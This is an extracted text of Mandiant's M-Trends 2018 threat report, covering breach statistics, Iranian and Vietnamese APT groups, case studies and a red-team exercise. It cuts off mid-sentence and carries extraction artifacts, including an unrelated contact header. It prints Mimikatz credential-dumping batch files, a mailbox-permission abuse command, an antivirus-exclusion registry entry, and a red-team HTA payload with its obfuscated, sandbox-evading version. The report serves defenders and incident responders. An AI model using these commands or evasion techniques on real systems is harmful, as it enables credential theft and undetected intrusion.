1-703-216-5259 boozallen.com/ics Authors JAKE STYCZYNSKI Lead Author NATE BEACH-WESTMORELAND Author SCOTT STABLES Author mailto:medairy_brad40bah.com20?subject mailto:stables_scottbah.com mailto:messer_angelabah.com M-TRENDS2018 2 SPECIAL REPORT M-TRENDS 2018 3SPECIAL REPORT M-TRENDS 20182 SPECIAL REPORT M-TRENDS 2018 Introduction 3 2017 By The Numbers 4 Newly Named APT Groups 10 Iran State-Sponsored Espionage 18 Hidden Threats Remain in Legacy Systems 22 Once a Target, Always a Target 24 Red Teaming for Security Effectiveness 26 Cyber Security Skills Gap The Invisible Risk 38 Enduring Trends in Security Fundamentals 42 Predictions for 2018 48 Conclusion 50 TABLE OF CONTENTS 2 SPECIAL REPORT M-TRENDS 2018 3SPECIAL REPORT M-TRENDS 2018 3SPECIAL REPORT M-TRENDS 2018 Introduction 3 2017 By The Numbers 4 Newly Named APT Groups 10 Iran State-Sponsored Espionage 18 Hidden Threats Remain in Legacy Systems 22 Once a Target, Always a Target 24 Red Teaming for Security Effectiveness 26 Cyber Security Skills Gap The Invisible Risk 38 Enduring Trends in Security Fundamentals 42 Predictions for 2018 48 Conclusion 50 INTRODUCTION In this M-Trends 2018 report, we look at some of the latest trends identified during the October 1, 2016 to September 30, 2017 reporting period, as revealed through incident response investigations by Mandiant, a FireEye company. When it comes to detecting compromises, organizations appear to be getting better at discovering breaches internally, as opposed to being notified by law enforcement or some other outside source. This is important because our data shows that incidents identified internally tend to have a much shorter dwell time. However, the global median dwell time from compromise to discovery is up from 99 days in 2016 to 101 days in 2017. In this years report, we explore some longer-term trends, many of which have evolved. We look at organizations that have been targeted or re-compromised after remediating a previous attack, a topic we first discussed in M-Trends 2013. We also examine the widening cyber security skills gap and the rising demand for skilled personnel capable of meeting the challenges posed by todays more sophisticated threat actors. We take a detailed look at a Mandiant Red Team Assessment to explore how we leverage sophisticated attacker tactics, techniques and procedures (TTPs) in simulated attacks to show organizations what they need to do to stay ahead of those threats. We also provide examples of where we saw attackers exploit weaknesses in an organizations detection and prevention controls. M-Trends 2018 can arm security teams with the knowledge they need to defend against todays most often used cyber attacks, as well as lesser seen and emerging threats. The information in this report has been sanitized to protect identities of victims and their data. 4 SPECIAL REPORT M-TRENDS 2018 5SPECIAL REPORT M-TRENDS 2018 2017 BY THE NUMBERS Dwell time is the number of days from first evidence of compromise that an attacker is present on a victim network before detection. A median represents a value at the midpoint of a sorted data set. Mandiant continues to use the median value over mean or average to minimize the impact of outlying values. The statistics reported in M-Trends are based on Mandiant investigations into targeted attack activity conducted between October 1, 2016 and September 30, 2017. Global The global median dwell time of 101 days is essentially unchanged from last years report of 99 days. Organizations across the globe are identifying attacker activity on their own more often than they are being notified by an external source, with 62 of breaches detected internally. Mandiants position in the market would tend to skew our statistics toward organizations who were notified of an incident by a third party, since presumably an organization is less likely to be confident they can investigate an incident they failed to identify on their own. The fact that more clients self-identify the incidents we investigate for them is a potential indication that detection capabilities have improved for all organizations and not just Mandiant clients. GLOBAL MEDIAN DWELL TIME 99 Days 101 Days 2017 2016 4 SPECIAL REPORT M-TRENDS 2018 5SPECIAL REPORT M-TRENDS 2018 5SPECIAL REPORT M-TRENDS 2018 Americas The Americas median dwell time decreased slightly from 99 days in 2016 to 75.5 days in 2017. Europe, the Middle East and Africa (EMEA) The median dwell time for EMEA in 2017 was 175 days, up from 106 days in 2016. We attribute this to increased notification programs by national law enforcement. These have uncovered attacks dating back a significant period of time, many of which involved active attackers in the target environment at the time of notification. 75.5 Days 99 Days AMERICAS MEDIAN DWELL TIME 2016 2017 APAC MEDIAN DWELL TIME 498 Days 172 Days 2016 2017 175 Days 106 Days 2017 2016 EMEA MEDIAN DWELL TIME Asia-Pacific (APAC) The median dwell time for APAC increased in 2017 to 498 days, from 172 days in 2016. This dwell time is similar to the APAC dwell time of 520 days reported in M-Trends 2016. It is also similar to the first dwell time statistic ever reported by Mandiant, which was a global dwell time of 417 days. With a maximum observed dwell time of 2,085 days, attackers in APAC are often able to maintain access in compromised organizations for far too long. 6 SPECIAL REPORT M-TRENDS 2018 7SPECIAL REPORT M-TRENDS 2018 Industry Americas APAC EMEA Global Business and Professional Services 18 10 12 16 Energy 5 2 7 5 Entertainment and Media 11 7 5 10 Financial 17 39 24 20 Government 6 7 18 8 Healthcare 12 2 2 9 High Tech 9 10 7 8 Retail and Hospitality 10 2 4 8 Other 12 20 22 15 Organizations Investigated By Mandiant in 2017, By Industry 20 9 10 8 9 15 5 Business and Professional Services 16 Energy Other 20 8 Entertainment and Media Financial Government Retail and Hospitality Healthcare High Tech Industries Investigated 6 SPECIAL REPORT M-TRENDS 2018 7SPECIAL REPORT M-TRENDS 2018 400 350 300 250 200 150 100 50 0 Median Dwell Time, By Year 2011 2012 2013 2014 2015 2016 2017 D ay s Year Median Dwell Time, By Region 1100 1000 900 800 700 600 500 400 300 200 100 0 D ay s GLOBAL EMEAAMERICAS APAC Internal Discovery External Notification KEY 186 57.5 101 124.5 42.5 75.5 305 24.5 175 All Notification 1088 320.5 498 416 243 229 205 146 99 101 8 SPECIAL REPORT M-TRENDS 2018 9SPECIAL REPORT M-TRENDS 2018 Organizations detected a compromise themselves in 62 of the cases that Mandiant worked in 2017. Organizations in the United States fared the best with 64 of cases detected by the organization. While this is trending in the right direction, it still shows that too many organizations are not aware that they have been compromised without external assistance. GLOBAL 38 62 Notification By Source 36 64 AMERICAS Notification By Source 44 56 EMEA Notification By Source 43 57 APAC Notification By Source Internal External KEY 8 SPECIAL REPORT M-TRENDS 2018 9SPECIAL REPORT M-TRENDS 2018 The global median dwell time is 101 days. However, actual global dwell times vary significantly, ranging from less than one week to over 2,000 days. 101 DAYS Global Dwell Time Distribution 7 or fewer 8-14 15-30 31-45 46-60 61-75 76-90 91-150 151-200 201-300 301-400 401-500 501-600 601-700 701-800 801-900 1000-2000 2000 Percentage of investigations 13 8 7 5 4 3 1 3 3 1 11 4 12 1 9 3 3 11 D ay s 10 SPECIAL REPORT M-TRENDS 2018 11SPECIAL REPORT M-TRENDS 2018 FireEye tracks more than a thousand uncategorized attackers and only promotes a TEMP group to a named APT group when we have confidence surrounding their specific: NEWLY NAMED APT GROUPS FireEye tracks thousands of threat actors, but pays special attention to state-sponsored attackers who carry out advanced persistent threat (APT) attacks. Unlike many cyber criminals, APT attackers often pursue their objectives over months or years. They adapt to a victim organizations attempts to remove them from the network and frequently target the same victim if their access is lost. In 2017, FireEye promoted four attackers from previously tracked TEMP groups to APT groups. Sponsoring nation Tactics, techniques, and procedures (TTPs) Target profile Attack motivations 10 SPECIAL REPORT M-TRENDS 2018 11SPECIAL REPORT M-TRENDS 2018 APT32 Since at least 2014, APT32, also known as the OceanLotus Group, has targeted foreign corporations with investments in Vietnam, foreign governments, journalists, and Vietnamese dissidents. Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors. During a recent campaign, APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros. Upon execution, the initialized file typically downloaded malicious payloads from a remote server. FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam. We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country. While the specific motivation for this activity remains opaque, it could ultimately erode targeted organizations competitive advantage. March 20, 2017 12 SPECIAL REPORT M-TRENDS 2018 13SPECIAL REPORT M-TRENDS 2018 APT33 SPECIAL REPORT M-TRENDS 2018 Since at least 2013, the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense, aerospace and petrochemical organizations. Additionally, there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training, maintenance and support for Saudi Arabias military and commercial fleets. August 21, 2017 12 12 SPECIAL REPORT M-TRENDS 2018 13SPECIAL REPORT M-TRENDS 2018 APT33 leverages a mix of public and non-public tools (Fig. 1) and often conducts spear-phishing operations using a built-in phishing module from ALFA TEaM Shell, a publicly available web shell. The use of multiple non- public backdoors suggests the group is supported by software developers. DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor. Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP, we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT.1 The SHAPESHIFT wiper is capable of wiping disks and volumes, as well as deleting files. Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations. Both DROPSHOT and SHAPESHIFT contain Farsi- language artifacts, which indicates that they may have been developed by a Farsi language speaker. FireEye has not identified APT33 using SHAPESHIFT, but APT33 is the only group FireEye has seen to use DROPSHOT. The overlap between SHAPESHIFT and DROPSHOT indicates that tools specifically DROPSHOT or development resources may be shared among Iranian threat groups, or that APT33 may engage in destructive operations. In a recent attack, APT33 sent spear-phishing emails to workers in the aviation industry. These emails included recruitment-themed lures and links to malicious HTML application (HTA) files. The HTA files contained job descriptions and links to job postings on popular employment websites. The file would appear to be a legitimate job posting, but the HTA file also contained malicious content that downloaded a custom APT33 backdoor from an attacker-controlled domain. 1 FireEye has not found any code overlap between SHAPESHIFT and the suspected Iranian wiper SHAMOON. Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing TWINSERVE TURNEDUP Mimikatz and ProcDump GREATFALL ADExplorer utility PowerView component of the PowerSploit framework Native OS commands WinRAR FastUploader V.1 Staged data in hidden Recycle. Bin directories NANOCORE NETWIRE TWINSERVE TURNEDUP DROPBACK VPN Access PsExec WMI VB Scripts Figure 1. APT33 TTPs in relation to the attack life cycle. 14 SPECIAL REPORT M-TRENDS 2018 15SPECIAL REPORT M-TRENDS 2018 APT34 14 SPECIAL REPORT M-TRENDS 2018 Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing Leverage social media to share links to malicious files Accessed unauthenticated MySQL database administration web application Brute force attack against OWA to access Exchange Control Panel Webshells RDP VPN Access SSH tunnels to CS servers Created shortcuts in startup folder Plink POWRUNER PsExec WMI RDP PowerShell scripts Wscript Plink ELVENDOOR POWBAT HELMINTH ISMAGENT Webshells including SEASHARPEE Mimikatz Key logger KEYPUNCH Lazagne Brute force password attacks Modified Outlook Web App logon pages on Exchange Servers SoftPerfect Network Scanner PowerShell scripts Native OS commands GOLDIRONY CANDYKING PowerShell scripts used for data exfiltration via DNS Exfiltration via RDP Compress data into RAR files, stage them to an internet accessible server, then download the files Exported email boxes (PST files) November 14, 2017 14 SPECIAL REPORT M-TRENDS 2018 15SPECIAL REPORT M-TRENDS 2018 Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government. APT34 uses a mix of public and non-public tools (Fig. 2) and often uses compromised accounts to conduct spear-phishing operations. In July 2017, FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER, which includes a domain generation algorithm (DGA) for command and control. POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199. In November 2017, APT34 leveraged the Microsoft Office vulnerability CVE-2017- 11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch. Figure 2. APT34 TTPs in relation to the attack life cycle. Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing Leverage social media to share links to malicious files Accessed unauthenticated MySQL database administration web application Brute force attack against OWA to access Exchange Control Panel Webshells RDP VPN Access SSH tunnels to CS servers Created shortcuts in startup folder Plink POWRUNER PsExec WMI RDP PowerShell scripts Wscript Plink ELVENDOOR POWBAT HELMINTH ISMAGENT Webshells including SEASHARPEE Mimikatz Key logger KEYPUNCH Lazagne Brute force password attacks Modified Outlook Web App logon pages on Exchange Servers SoftPerfect Network Scanner PowerShell scripts Native OS commands GOLDIRONY CANDYKING PowerShell scripts used for data exfiltration via DNS Exfiltration via RDP Compress data into RAR files, stage them to an internet accessible server, then download the files Exported email boxes (PST files) 16 SPECIAL REPORT M-TRENDS 2018 17SPECIAL REPORT M-TRENDS 2018 APT35 FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors. December 15, 2017 16 SPECIAL REPORT M-TRENDS 2018 17SPECIAL REPORT M-TRENDS 2018 APT35 has historically used unsophisticated tools like those listed below in Figure 3. Their complex social engineering campaigns, however, employ fake social media personas with convincing backgrounds that include supporting details and links to real persons and organizations. Many of the fake personas utilized by APT35 claimed to be part of news organizations, which led to APT35 being referred to as the Newscaster Team. The effort required to establish these networks and online front organizations suggests the group is well resourced. More recent operations suggest that APT35 has expanded both the scope of its targeting and its employed toolset. From August 2016 to August 2017, APT35 engaged in multiple operations against a broad range of victims, including those in the following sectors: Telecommunications Business services Energy Construction and engineering Government Defense Media Figure 3. APT35 TTPs in relation to the attack life cycle. Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Phishing Valid credentials obtained from previous compromise Password Spray Ekton CMS Vulnerability Strategic Web Compromise FIVERINGS BROKEYOLK RARESTEAK Meterpreter Batch file that persisted via a registry-run key Powershell TightVNC VPN Mimikatz Procdump Psexec RDP Plink Credential Theft Webshells, including Tunna and ASPXSHELLSV DRUBOT MANGOPUNCH HOUSEBLEND PUPYRAT Steal valid user credentials, including soft token Gain access to domain controllers, Exchange/ CAS servers Alter mailbox access rights Powershell Access mailboxes SoftPerfect Network Scanner SMB Scanning Oce 365 Delete log files Delete and overwrite files Stage RAR files in local folders Download Personal Storage Table (PST) Archive Create email forwarding rules 18 SPECIAL REPORT M-TRENDS 2018 19SPECIAL REPORT M-TRENDS 2018 IRAN STATE-SPONSORED ESPIONAGE 18 SPECIAL REPORT M-TRENDS 2018 18 SPECIAL REPORT M-TRENDS 2018 19SPECIAL REPORT M-TRENDS 2018 19SPECIAL REPORT M-TRENDS 2018 Throughout 2017, Mandiant observed a significant increase in the number of cyber attacks originating from threat actors sponsored by Iran. While they have captured notoriety over the past year, especially for their destructive attacks, much of their espionage activity has gone unnoticed. Their list of victims currently spans nearly every industry sector and extends well beyond regional conflicts in the Middle East. For some time, these threat actors were primarily a nuisance consisting of a loose collective of patriotic hackers who conducted web defacements, distributed denial of service (DDoS) campaigns and occasional destructive malware attacks. Since 2010, post-Stuxnet, Iran has increased its cyber espionage capabilities and is now operating at a pace and scale consistent with other nation- state sponsored APT groups. Iranian threat actors have compromised a variety of organizations, but recently they have expanded their efforts in a way that previously seemed beyond their grasp. Today they leverage strategic web compromises (SWC) to ensnare more victims, and to concurrently maintain persistence across multiple organizations for months and sometimes years. Rather than relying on publicly available malware and utilities, they develop and deploy custom malware. When they are not carrying out destructive attacks against their targets, they are conducting espionage and stealing data like professionals. 20 SPECIAL REPORT M-TRENDS 2018 21SPECIAL REPORT M-TRENDS 2018 APT35 CASE STUDY: APT35 In early 2017, Mandiant responded to an incident involving APT35 targeting an energy company. The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised. The resume contained the PUPYRAT backdoor, which communicated with known APT35 infrastructure. APT35 also installed BROKEYOLK, a custom backdoor, to maintain persistence on the compromised host. They then proceeded to log directly into the VPN using the credentials of the compromised user. Contents of run.bat copy MsMpEng.exe \\1\C\windows\temp\MsMpEng.exe PsExec.exe \\1 -s -c m.bat -accepteula move \\1\C\Windows\temp\temp.dat 1.txt del \\1\C\windows\temp\MsMpEng.exe Contents of m.bat C:\windows\MsMpEng.exe privilege::debug sekurlsa::logonPasswords exit C:\windows\temp\temp.dat Figure 4. Contents of recovered batch files. Once connected to the VPN, APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance. The attacker did not deploy additional backdoors to the environment. During the analysis of a compromised domain controller, Mandiant identified batch files (Fig. 4) that were used to steal credentials and hide attacker activity by performing the following actions: 1. Copied a modified variant of Mimikatz to the remote system. 2. Executed Microsofts Sysinternals PsExec utility to deploy and execute a Windows batch file containing commands to execute the Mimikatz variant on each target system. 3. Copied the contents of the Mimikatz output to a local file, named after the remote system. 4. Deleted the modified variant of Mimikatz from the remote system. 20 SPECIAL REPORT M-TRENDS 2018 21SPECIAL REPORT M-TRENDS 2018 While the credential harvesting technique was unsophisticated, it was effective. Mandiants analysis indicated the attacker successfully harvested credentials from more than 500 systems within the environment using this technique. While having access to the organizations environment, the attacker targeted data related to entities in the Middle East. Mandiant has previously observed targeted attackers stealing email, but few threat actors have been as successful at this as APT35. Additionally, the attackers methodology for accessing and stealing email from a victim organization adapted to accommodate cloud migration trends as companies moved to off- premises email solutions such as Office 365. Forensic analysis revealed the attacker leveraged Microsoft Exchange Client Access cmdlets to modify permissions on target mailboxes. Exchange has several Client Access cmdlets that are used legitimately by Exchange administrators for routine tasks and maintenance. 2018-01-01 01:02:34 EXCHANGESERVER 7872 w3wpMSExchangePowerShellFrontEndAppPool 68 COMPROMISED_ ACCOUNT TRUE ManagementShell Add-MailboxPermission -User AttackerControlledAccount -AccessRights (FullAccess) -InheritanceType All Figure 5. Example of attacker adding read access to target mailbox. Mandiant observed that the attacker had granted compromised accounts read access to hundreds of mailboxes with the Add- MailboxPermission cmdlet (Fig. 5). Following the assignment of mailbox permissions, the attacker authenticated to the victim organizations Outlook Web Access (OWA) portal to access targeted inboxes. By assigning these permissions to a single account, the attacker was able to read, access and steal hundreds of emails in a single view. The attacker could also blend into normal day-to-day activities of users accessing their email through the OWA portal, and did not need to install any additional malware into the environment. Ultimately, APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations, which later became victims of destructive attacks. 1. Copied a modified variant of Mimikatz to the remote system. 2. Executed Microsofts Sysinternals PsExec utility to deploy and execute a Windows batch file containing commands to execute the Mimikatz variant on each target system. 3. Copied the contents of the Mimikatz output to a local file, named after the remote system. 4. Deleted the modified variant of Mimikatz from the remote system. A cmdlet is a lightweight Windows PowerShell command. 22 SPECIAL REPORT M-TRENDS 2018 23SPECIAL REPORT M-TRENDS 2018 Organizations continue to struggle with tracking and maintaining their internet footprint. This case study from Asia Pacific illustrates the continuation of a well-established trend of exposure and compromise of poorly protected and overlooked legacy systems. HIDDEN THREATS REMAIN IN LEGACY SYSTEMS A case study from Asia Pacific 22 SPECIAL REPORT M-TRENDS 2018 23SPECIAL REPORT M-TRENDS 2018 A large company in Asia was recently the latest in a long line of organizations to be compromised because Remote Desktop Protocol (RDP) is accessible from the Internet. The breach was identified through the discovery of an unauthorized database administrator account on a billing database server. The companys internal investigation uncovered unauthorized RDP logons by a local administrator account to a legacy web server. The attacker then connected to and tunneled connections through an intermediary system in the client environment. From the intermediary system, the attacker was able to access a database server using a separate database administrator account. The client quickly identified and decommissioned the web server and other legacy systems and changed the password of accounts used by the attacker. At some point during the compromise the clients antivirus software began detecting some of the attackers password dumping tools, so the attacker added the C:\temp\ directory, which was being used as a tool repository, to the list of directories to not be scanned by antivirus software. Configuring the antivirus software to ignore the directory C:\temp created a registry artifact (Fig. 6) that helped identify additional systems compromised by the attacker. This case illustrates the risk posed by having the RDP accessible from the Internet. Access to RDP is a common vector used by attackers to gain access to environments either directly from the Internet or by leveraging access they gain through a third-party. Initial compromise: Mandiant identified evidence of malicious activity dating back several years, and that the environment had been accessed by more than one attacker. Mandiant was unable to identify how the environment was first compromised due to evidence decay. Establish foothold: The attacker moved laterally within the environment and installed a variety of backdoors, keyloggers and network traffic tunnelers, ranging from publicly available malware such as Gh0stRAT, Empire, and the China Chopper web shell, to some highly powerful and non-public malware. Escalate privileges: The attacker leveraged credentials obtained from domain controllers and keyloggers installed on the systems of high-value individuals to provide access to the environment. Internal reconnaissance: The attacker conducted internal reconnaissance using built-in tools and tools that the attacker placed in the environment. Examples of the methods used for internal reconnaissance included: PowerShell Windows Task Scheduler NBTScan TCPScan Non-public keyloggers Non-public screen recorders Complete mission: The attacker targeted billing and customer information. Mandiant identified evidence suggesting gigabytes of sensitive customer information had been exfiltrated from the network. Figure 6: Example of the registry artifact that was created by the attacker adding an exclusion for the directory C:\temp. Redacted Eventlog Messages of Whitelisting a Folder HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Popular AV Program\AV\Exclusions\HeuristicScanning\Directory\Client\3212312312\ DirectoryName C:\temp\ 24 SPECIAL REPORT M-TRENDS 2018 25SPECIAL REPORT M-TRENDS 2018 Regional Considerations We find that customers in the APAC region are twice as likely to have experienced multiple incidents from multiple attackers, compared to customers in EMEA or North America. Over 91 percent of our APAC customers with at least one significant attack will have attacker activity within the next year (Fig. 7). Of those customers, 82 percent will have multiple attackers identified over the life of their service (Fig. 8). Figure 7. Customers with one significant attack that experienced another attack of consequence, by region. Figure 8. Customers with significant attack from multiple groups, by region. 100 90 80 70 60 50 40 30 20 10 0 AMERICAS EMEA APAC 44 47 91 100 90 80 70 60 50 40 30 20 10 0 AMERICAS EMEA APAC 38 40 82 ONCE A TARGET, Always a Target In 2013 M-Trends, we looked at organizations that had been targeted or re- compromised after remediating a previous attack. Our original data showed 38 percent of clients were attacked after remediation. Our 2017 data shows that, 56 percent of FireEye managed detection and response customers who were previously Mandiant incident response clients were targets of at least one significant attack in the past 19 months by the same or similarly motivated attack group. A significant attack is attacker activity that may include data theft, compromised accounts, credential harvesting, lateral movement and spear phishing, which affects at least 43 of our managed detection and response customers. 49 of customers with at least one significant attack were successfully attacked again within one year. of the time, customers who have had more than one significant attack have also had more than one unique attacker in their environment. 86We also found that: 24 SPECIAL REPORT M-TRENDS 2018 25SPECIAL REPORT M-TRENDS 2018 0 Non-Profit Government Business and Professional Services Transportation and Logistics Other Financial Energy Biotechnology and Pharmaceuticals Retail and Hospitality Media and Entertainment Healthcare Manufacturing Construction and Engineering Education Telecommunications High Tech 2 4 6 8 In d us tr y ty p e Number of different threat groups Industry Trends The top three industries most frequently targeted by multiple attackers are high-tech, telecommunications and education (Fig. 9). The top three industries with the most significant attacks are financial, high-tech and healthcare (Fig. 10). There is a difference between industries that have been successfully attacked by multiple threat groups versus industries that are targeted most often. Notably, the high-tech industry is both frequently targeted by multiple attackers and also sees a large number of significant attack attempts (Fig. 11). This trend highlights the industries that most often have to deal with multiple types of threat actors, each with potentially different missions and TTPs to defend against. Several industries appear more adaptive and more rigorous in their security posture over time. As an example, when we examine the industries that suffer multiple successful attacks, separated by remediation attempts, we observed that the financial industry was ninth out of 16 industries. Our experiences suggest the financial services are less likely to succumb to subsequent attacks over time. Industries that have historically been targeted by Chinese based groups move to the top of the attacked by multiple groups list. Unfortunately, if youve been breached, our statistics show that you are much more likely to be attacked and suffer another breach. If you have not taken steps to enhance your security posture, you are taking a significant risk. 0 Non-Profit Other Media and Entertainment Business and Professional Services Biotechnology and Pharmaceuticals Government Energy Transportation and Logistics Construction and Engineering Manufacturing Education Telecommunications Retail and Hospitality Healthcare High Tech Financial 2 4 6 8 10 11 12 14 16 In d us tr y ty p e Number of different threat groups Figure 10. Customers industries by number of significant attacks. Figure 9. Customers targeted by multiple threat groups, by industry. 0 Non-Profit Government Business and Professional Services Other Energy Transportation and Logistics Media and Entertainment Financial Biotechnology and Pharmaceuticals Retail and Hospitality Manufacturing Construction and Engineering Healthcare Education Telecommunications High Tech 2 4 6 8 In d us tr y ty p e Number of different threat groups Figure 11. Customers with significant attacks from multiple attackers, by industry. 26 SPECIAL REPORT M-TRENDS 2018 27SPECIAL REPORT M-TRENDS 2018 RED TEAMING for Security Effectiveness Mandiant recently conducted a Red Team Assessment for an organization hosting large amounts of personally identifiable information (PII). The goal of the assessment was to validate the organizations ability to protect their PII. The red team was provided with the organizations name and no additional architectural information, making it a black-box assessment. 26 SPECIAL REPORT M-TRENDS 2018 27SPECIAL REPORT M-TRENDS 2018 The red team used open source intelligence (OSINT) to identify the external IP addresses, email addresses and phone numbers that constituted the attack surface of the organization. After creating a list of target email addresses, the red team launched a phishing campaign using emails with a hyperlink crafted to direct the user to an HTML Application (HTA) payload. The payload launched the Windows-native Certutil command, calling back to a command and control (CnC) server. Three systems were compromised in the initial phishing campaign of 30 users. One hour after the phishing campaign started, one of the targeted users reported the phishing email to the organizations abuse mailbox. The security operations center (SOC) responded to the report and blacklisted the fully qualified domain name (FQDN) of the web server hosting the HTA payload, but infected workstations continued to connect to the red teams CnC server. The FQDN of the CnC server was not identified and blocked by DOCTYPE html html head HTA:APPLICATION IDhost BORDERthin BORDERSTYLEcomplex maximizeButtonyes minimizeButtonyes scrollno/ titleSample/title /head script forprize eventonClick languageVBScript Dim notMal Set notMal CreateObject(WScript. Shell) notMal. Run powershell.exe -e VwByAGkAdABlAC0ASABvAHMAdAAgACIAUABXAE4ARQBEACIAOwAgAHIAZQBhAGQALQBoAG8AcwB0AA /script body p Youre our millionth victim /p p form input typebutton valueClaim my prize/input /form /p /body /html the SOC because the HTA payload was designed to bypass manual and automated analysis by using a combination of obfuscation and sandbox evasion techniques. HTA payloads allow the red team to create convincing scenarios while delivering a flexible payload through the power of Microsofts VBScript and JScript languages. HTAs also allow red teams to bypass application whitelisting controls because the native Windows application associated with the HTA file extension, mshta.exe, is a Microsoft-signed executable, a file type typically permitted to execute by application whitelists. An unobfuscated HTA payload might run a command line command by invoking the Run method of VBScripts WScript. Shell class (Fig. 12). Figure 12. An HTA file that executes a PowerShell payload. 28 SPECIAL REPORT M-TRENDS 2018 29SPECIAL REPORT M-TRENDS 2018 The unobfuscated HTA payload contains many plaintext strings that automated analysis could leverage to identify the HTA file as suspicious. For example, incident responders often monitor for the use of the PowerShell command, the syntax used to run a PowerShell command, and the presence of what appears to be a base64 encoded command. Creating an obfuscated payload is the simplest way to avoid these common detections. Publicly available tools, such as NCC Groups Demiguise2 can automatically create obfuscated HTA payloads that can only be decoded by the key provided during the obfuscation process. Figure 13 demonstrates the Demiguise obfuscation process used to generate an HTML document that relies on a specific string (in this case, 1.2.3.4) as the key to decrypt the HTA payload. In this case, the key is the external IP address of the victim organization. This can be obtained from OSINT or a previous compromise. The victim must have the same external IP address to decrypt the payload, effectively bypassing sandboxes hosted in a cloud environment. Figure 13. Using Demiguise to execute a PowerShell payload. 2 Available at https://github.com/nccgroup/demiguise. roottestbox:/git/demiguise./demiguise.py -k 1.2.3.4 -c powershell.e xe -e VwByAGkAdABlACBASABvAHMAdAAgACIAUABXAE4ARQBEACIA0wAgAHIAZQBhAGQAL QBoAG8AcwB0AA -o payload.hta -p Outlook. Application [] Generating with key 1.2.3.4 [] Will execute: powershell.exe -e VwByAGkAdABlACBASABvAHMAdAAgACIAUAB XAE4ARQBEACIA0wAgAHIAZQBhAGQALQBoAG8AcwB0AA [] HTA file written to: payload.html roottestbox:/git/demiguise 28 SPECIAL REPORT M-TRENDS 2018 29SPECIAL REPORT M-TRENDS 2018 The resulting payload (Fig. 14) has very few strings that can be detected by automated analysis, and the payload might avoid manual detection if it used a complex key retrieval process. html body script function zPaLZROx(r,o)for(var t,e[],n0,a,f0f256f)e[f]ffor(f0f256f) n(ne[f]r.charCodeAt(fr.length))256,te[f],e[f]e[n],e[n]tf0,n0for(var h0ho. lengthh)n(ne[f(f1)256])256,te[f],e[f]e[n],e[n]t,aString.fromCharCode (o.charCodeAt(h)e[(e[f]e[n])256])return a var HYvtwtnj function()return 1.2.3.4 var ZRETMvTj BFcTWpEviGQFt7jTLl9yU/D3W1gubuKV2JlsaadzqV4ClduGq1AkiMQYhG68KLfSeQ6XvR pchps2nNOsWyRnyhM2iLYvhSwa9kLUKL2bta9SF9fZAsTIOmsdk6xKH7a79WCHYs3N44IWrEj4/eA7HfvSzu6MO pbJOyrCy25J639PSF1mdA2eLHXCElEveIhZBWLhe55ffz/9m9oHLoniv8p7exo5AYFpSsxaMHF qpdUQ9jf6zyX72O/4D9tTj45qMW6xkM9sYvTb3Tgp5oig26vZTaHqIK2lx0gkA1nwHACbg5mZZ9KRgFMuYsYZL var zCfYcHmx zPaLZROx(HYvtwtnj(),atob(ekgfSg)) setTimeout(var WwhLHkAK new zCfYcHmx([zPaLZROx(HYvtwtnj(), atob(ZRETMvTj))])) var fONcNXjJ zPaLZROx(HYvtwtnj(),atob(EEIFRpsrlSsH/rSYPVB0W6j8dnMbJeeVxokhIINO/ qcxAlRwVeJOuDU3TAW12rPkEaM6ee88IANWm1wQ5kLLgXYdnGaP71DvNLRWE8G6KIPPFAANfFkPdrP7OQKSfHnc svOLDosxcqdKDfQu8qiC/U3gXHqRJpkkbOpBmL1Jd/zJ3AniIN5fK7SEAAWqaPHzN4aJha64/DjtMi0tnH7gGj 8ai97dkEEdah3uBfHe9bUVVwfvO8BLWy9pP5vHjooeCMEOtwIpQJozzwF11grTU18rliFFPeL Tk9uQ4A9XhDBin7wFEf4O06TNjfpZ0CkM37fETAfvTDnTPT7RC4vAtnAdC268y3bEQCvox/vZSzKScPEjVVw4MF NAAJkeeHdKjH54zouxo7GrzHDmjTFU5YoATeLltJ9216tQTLF0id6q8)) setTimeout(fONcNXjJ(WwhLHkAK, zPaLZROx(HYvtwtnj(), atob(SEUJRJcmGoBorc)))) /script /body /html Figure 14. An obfuscated payload for the basic PowerShell command. 30 SPECIAL REPORT M-TRENDS 2018 31SPECIAL REPORT M-TRENDS 2018 To avoid sandbox detection mechanisms often deployed in mature environments, sandbox evasion techniques can be built into the payload with the obfuscation. A red team could use any number of sandbox evasion 